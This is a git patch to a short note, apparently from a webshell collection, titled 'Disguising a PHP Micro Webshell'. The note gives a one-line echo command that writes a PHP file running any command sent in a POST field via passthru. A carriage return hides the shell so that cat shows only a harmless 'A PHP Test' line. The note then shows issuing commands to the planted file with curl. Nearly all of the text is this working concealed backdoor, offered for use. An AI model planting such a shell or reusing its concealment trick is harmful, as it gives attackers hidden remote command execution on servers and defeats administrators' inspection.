From d9abc3c62ea6ecbff8a3c1866bbd9a62541d99c3 Mon Sep 17 00:00:00 2001
From: tennc <tennc@users.noreply.github.com>
Date: Sat, 12 Sep 2015 22:31:02 +0800
Subject: [PATCH] Update and rename 2015-09-12.php to 2015-09-12.md

---
 php/tw/{2015-09-12.php => 2015-09-12.md} | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)
 rename php/tw/{2015-09-12.php => 2015-09-12.md} (50%)

diff --git a/php/tw/2015-09-12.php b/php/tw/2015-09-12.md
similarity index 50%
rename from php/tw/2015-09-12.php
rename to php/tw/2015-09-12.md
index 773931f..142b94c 100644
--- a/php/tw/2015-09-12.php
+++ b/php/tw/2015-09-12.md
@@ -1,12 +1,15 @@
 Disguising a PHP Micro Webshell 
 
-` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
+`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php` 
 
 url : http://t.co/YFm6QlpK0k
 
 vist browser  page show `A PHP Test`
 
-then in console 
+then in console use `cat xxx.php`
+it show `<?php echo 'A PHP Test ';" ?>`
+
+then in console run
 `curl -d 1=id http://www.xxx.xx/xx.php`
 
 it like in console show command `id`